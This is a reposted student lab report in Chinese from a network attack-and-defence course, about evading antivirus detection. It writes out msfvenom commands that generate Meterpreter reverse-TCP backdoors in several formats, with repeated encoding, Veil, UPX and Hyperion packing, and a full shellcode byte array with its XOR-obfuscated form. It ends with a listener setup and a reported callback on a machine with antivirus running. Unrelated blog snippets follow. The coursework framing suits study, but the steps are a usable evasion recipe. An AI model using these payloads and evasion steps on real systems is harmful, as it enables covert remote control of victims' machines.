20222417 2024-2025-1 《网络与系统攻防技术》实验三实验报告

news/2024/10/23 23:22:27/文章来源:https://www.cnblogs.com/123ywx12323/p/18494062

1.实践内容
1.1实验目的
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2实验问题
掌握免杀原理与技术
回答问题
(1)杀软是如何检测出恶意代码的?
基于特征码:杀毒软件通过比对一个可执行文件是否包含一段或多段符合特征的数据来判断是否是恶意代码。
启发式恶意软件检测:通过分析文件的行为和外观特征来推断是否为恶意代码。
基于行为的检测:通过监控程序的运行时行为,如API调用、系统修改、网络活动等,来判断程序是否具有恶意性。
(2)免杀是做什么?
是一种能使病毒木马免于被杀毒软件查杀的技术。通过修改恶意软件的内容,改变其特征码,从而躲避杀毒软件的检测。
(3)免杀的基本方法有哪些?
修改特征码:通过破坏病毒或木马的特征码来避免被杀毒软件查杀。
加壳:通过加壳技术,可以改变程序的二进制结构,使得原有的特征码发生变化,从而躲避杀毒软件的检测。
花指令免杀:花指令是一段无用代码,用来迷惑杀毒软件,增加反汇编的难度,从而影响杀毒软件对特征码的识别。
1.3本周学习内容
本周主要学习关于后门技术的知识,了解了ncat,socat等工具的应用,同时学习了如何创建不同种类的后门文件。
2.实验过程
2.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 使用msfvenom生成.exe后门可执行程序
(1)输入指令msfvenom查看支持的所有输出格式:输入msfvenom --list formats;

输入msfvenom查看支持的所有编码方式:输入msfvenom --list encoders;

(2)不使用编码器生成后门程序20222417ywxd.exe
指令为:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.133 LPORT=2417 -f exe > 20222417ywxd.exe

将生成的后门文件放入VirScan中进行检测

(3)然后使用编码器对程序20222417_1.exe进行一次编码,指令为:msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.17.133 LPORT=9999 -f exe > 20222417_1.exe

将此次生成的后门文件放入VirScan中进行检测

(4)使用编码器对程序20222417_2.exe进行22次编码,指令为:msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai -i 22 -b ‘\x00’ LHOST=192.168.17.133 LPORT=9999 -f exe > 20222417_2.exe

将生成的后门文件放入VirScan中进行检测

(5)生成其他格式的文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.17.133 LPORT=9999 -f jar > 20222417.jar

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.17.133 LPORT=9999 -f py > 20222417.py

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.17.133 LPORT=9999 x > 20222417.php

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.17.133 LPORT=9999 x > 20222417.apk

检测结果:
jar:

py:

php:

apk:

2.1.2使用Veil生成后门程序
(1)安装veil
依次输入以下指令下载veil:
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32
输入完sudo apt-get install wine32后会发现报错:此时先输入dpkg --add-architecture i386
再输入sudo apt-get update,然后输入sudo apt-get install wine32。


再依次输入:
apt-get install veil ——安装veil
sudo su
cd /usr/share/veil/config/
vim setup.sh
在第200多行的代码中,找到下图内容,按i键进入编辑模式,把下载地址换成https://gitee.com/spears/VeilDependencies.git,按ESC键,输入:wq退出![]

运行veil进行安装
过程中可能需要安装多个程序,一路默认安装即可

输入use evasion ,进入Evil—Evasion

(2)利用Veil生成后门程序
如图,输入use 7,选择载荷c/meterpreter/rev_tcp后,输入set LHOST 192.168.17.133 和 set LPORT 2417分别set LHOST、LPORT,输入generate指令开始生成文件20222417_veil.exe

将此次生成的后门文件放入VirScan中进行检测

2.1.3加壳处理来试图实现免杀
(1)压缩加壳
输入指令upx 20222417ywxd.exe -o 20222417_upx.exe,对后门文件进行压缩加壳,生成文件20222417_upx.exe。


将此次生成的后门文件放入VirScan中进行检测

(2)加密加壳
输入指令:
cp 20222417ywxd.exe /usr/share/windows-resources/hyperion
cd /usr/share/windows-resources/hyperion
wine hyperion.exe -v 20222417ywxd.exe 20222417_hyperion.exe

进行检测

2.1.4采用C+shellcode来试图实现免杀
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.133 LPORT=9999 -f c来获取shellcode编码。
输入vi 20222417_C.c,创建文件并将shellcode加入进去

输入gcc 20222417_C.c -o 20222417_C.exe 采用gcc编译20222417_C.exe文件并传至主机

进行检测

2.2 通过组合应用各种技术实现恶意代码免杀
2.2.1 msfvenom多次编码+压缩加壳
输入指令: 
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 24 -b '\x00' LHOST=192.168.17.133 LPORT=9999 -f exe >20222417_4.exe
upx 20222417ywxd.exe -o 20222417_4_upx.exe


进行检测

2.2.2 C+shellcode编码+异或处理
创建文件20222417.c,把最开始的代码输入其中:
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18"
"\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x6a\x80\x68\x02\x00"
"\x27\x0f\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
在异或处理后输出到文件20222417shellcode.txt
\xfd\xe9\x8e\x1\x1\x1\x61\x88\xe4\x30\xd3\x65\x8a\x53\x31\x8a\x53\xd\x8a\x53\x15\x30\xfe\xe\xb6\x4b\x27\x8a\x73\x29\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\xc0\xce\xc\x0\xc6\x48\x74\xee\x53\x8a\x53\x11\x56\x8a\x43\x3d\x0\xd1\x8a\x41\x79\x84\xc1\x75\x4d\x0\xd1\x51\x8a\x49\x19\x8a\x59\x21\x0\xd2\x84\xc8\x75\x3d\x48\x30\xfe\x8a\x35\x8a\x0\xd7\x30\xc1\xc0\xce\xc\xad\x0\xc6\x39\xe1\x74\xf5\x2\x7c\xf9\x3a\x7c\x25\x74\xe1\x59\x8a\x59\x25\x0\xd2\x67\x8a\xd\x4a\x8a\x59\x1d\x0\xd2\x8a\x5\x8a\x0\xd1\x88\x45\x25\x25\x5a\x5a\x60\x58\x5b\x50\xfe\xe1\x59\x5e\x5b\x8a\x13\xe8\x81\xfe\xfe\xfe\x5c\x69\x32\x33\x1\x1\x69\x76\x72\x33\x5e\x55\x69\x4d\x76\x27\x6\x88\xe9\xfe\xd1\xb9\x91\x0\x1\x1\x28\xc5\x55\x51\x69\x28\x81\x6a\x1\xfe\xd4\x6b\xb\x69\xc1\xa9\x6b\x81\x69\x3\x1\x26\xe\x88\xe7\x51\x51\x51\x51\x41\x51\x41\x51\x69\xeb\xe\xde\xe1\xfe\xd4\x96\x6b\x11\x57\x56\x69\x98\xa4\x75\x60\xfe\xd4\x84\xc1\x75\xb\xfe\x4f\x9\x74\xed\xe9\x66\x1\x1\x1\x6b\x1\x6b\x5\x57\x56\x69\x3\xd8\xc9\x5e\xfe\xd4\x82\xf9\x1\x7f\x37\x8a\x37\x6b\x41\x69\x1\x11\x1\x1\x57\x6b\x1\x69\x59\xa5\x52\xe4\xfe\xd4\x92\x52\x6b\x1\x57\x52\x56\x69\x3\xd8\xc9\x5e\xfe\xd4\x82\xf9\x1\x7c\x29\x59\x69\x1\x41\x1\x1\x6b\x1\x51\x69\xa\x2e\xe\x31\xfe\xd4\x56\x69\x74\x6f\x4c\x60\xfe\xd4\x5f\x5f\xfe\xd\x25\xe\x84\x71\xfe\xfe\xfe\xe8\x9a\xfe\xfe\xfe\x0\xc2\x28\xc7\x74\xc0\xc2\xba\xf1\xb4\xa3\x57\x6b\x1\x52\xfe\xd4

将异或后的文件进行检测

使用火绒查杀本次实验生成的所有后门文件,结果如下

2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.17.133 LPORT=9999 -f raw >20222417.raw

生成后门文件20222417.raw

开始进行监听过程,输入msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.17.133
set LPORT 9999
exploit
开始监听

安装[shellcode_launcher:] (https://gitee.com/vantler/shellcode_launcher/)
并同时运行文件20222417.raw

最后成功连接

3.问题及解决方案
问题一:在进行监听时,发现无法监听成功
解决方案:监听过程中,路径系统设置的不对应,未与文件建立时采用的路径相同。
4.学习感悟、思考等
在本次实验中,我对于msfvenom编译各种类型的程序的知识有了更多的了解,创建了一个又一个的后门文件程序。同时学习了免杀的基本原理,通过对不同后门程序的检测,我发现普通的后门程序总是会被大概率查杀,大部分检测都会查杀这类型的程序。最后,经过一步一步的实验,我成功的创建出一个可以逃过免杀的后门程序,这大大增加了我对于病毒木马的了解,也意识到网络中存在大量无法被查杀的病毒风险。
在这次实验中,我认为最为麻烦的是veil的安装过程,复杂且繁琐,让我吃了一些苦头。不过这些苦头极大的培养了我的动手能力以及解决问题的能力。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/820912.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

人生路manman,Man游常相伴——软工实践第一次团队作业

作业所属课程 班级的链接作业要求 作业要求的链接作业目标 你理解的作业目标具体内容团队名称 iman团队成员 102202146 - 蓝敏龙, 102201225 - 陈碧煌, 102202105 - 王梓铭, 102202124 - 阿依娜孜, 102202135 - 施宇翔, 102202134 - 承宇豪, 102202117 - 杨邑豪, 102202122 - 张…

java学习10.23

继续写这个javaweb项目,实现增删和之间的页面跳转

2024秋软工实践 福气满满团队展示与选题报告

这个作业属于哪个课程 https://edu.cnblogs.com/campus/fzu/SE2024作业要求 https://edu.cnblogs.com/campus/fzu/SE2024/homework/13281作业的目标 运用LMM大语言模型接口创建一款基于场景的AI对话软件,为传统软件赋予全新功能团队名称 福气满满团队成员学号-名字 052203132童…

《操作系统真象还原》内核内存分布与加载

操作系统内核加载流程图 %%{init:{theme:default, themeVariables:{fontSize:1px}}}%% graph TBA(mbr.s 0xc700开始) --> rd_disk_m_16(mbr.s <br /> rd_disk_m_16) A --> C(loader.s <br> jmp LOADER_BASE_ADDR + 0x300) --> loader_start(loader.s…

20222318 2024-2025-1 《网络与系统攻防技术》实验二实验报告

1.实验内容 (一)本周课程内容 (1)深入理解后门概念及其实际案例,明晰后门对系统安全构成的潜在威胁。 (2)普及后门技术知识,涵盖各类进程隐藏技巧,并熟悉netcat、meterpreter、veil等常见工具的应用。 (3)进一步学习了shellcode注入的逻辑原理及其在不同场景下的应用…

IDEA 类和方法的注释

IDEA 类和方法的注释 一、设置方法的注释 (1) 打开file->setting->Editor->LiveTemplates点击右上面那个+号,选择Template Group双击,然后弹出一个窗口,添加命名为KeyBoard点击OK完成,如下图1所示:图1 (2) file->setting->Editor->LiveTemplates这个…

实验2 类和对象

任务1 t.h1 #pragma once2 3 #include <string>4 5 // 类T: 声明6 class T {7 // 对象属性、方法8 public:9 T(int x = 0, int y = 0); // 普通构造函数 10 T(const T &t); // 复制构造函数 11 T(T &&t); // 移动构造函数 12 ~T();…

提权 | Windows系统

提权篇:Windows系统常见提权姿势。目录cmd提权meterpreter提权getsystemsteal_tokenmigrate令牌窃取(MS16-075)烂土豆提权步骤烂土豆提权原理sc命令提权抓本地密码提权其他工具pr工具内核提权WindowsVulScan cmd提权 前言:我们getshell一个用windows部署的网站后,通过蚁剑或…

for 循环()简单到高阶

for循环的初始意义是遍历一串具有相同特性的值 1、遍历数组,根据索引去求值点击查看代码 public class ForDemo1 {public static void main(String[] args) {int[] arr = {1,2,3,4,5,6,7};for (int i = 0; i < arr.length; i++) {System.out.println("arr["+i+&q…

08.Sleuth(Micrometer)+ZipKin分布式链路追逐

1.Sleuth进入维护模式替代方案 -> Micrometer Tracing 2.分布式链路追踪概述 2.1 出现背景 在微服务框架中,一个由客户端发起的请求在后端系统中会经过多个不同的服务节点调用来协调产生最后的结果,每一个前端请求都会形成一条复杂的分布式服务调用链路,链路中的任何一环…

sream

构建 arrays.stream(数组) 根据数组构建 collection.stream 根据集合构建 stream.of 根据对象创建 生成 Instream.range(a,b) 合并 stream.concat(流1,流2)

SvnKit提交代码

官网地址:https://svnkit.com/documentation.html#high-level-api svnkit提交代码提供的API 官方api地址 官网地址:https://svnkit.com/javadoc/org/tmatesoft/svn/core/wc/SVNClientManager.html 官方案例地址 https://wiki.svnkit.com/Committing_To_A_Repository svnkit调…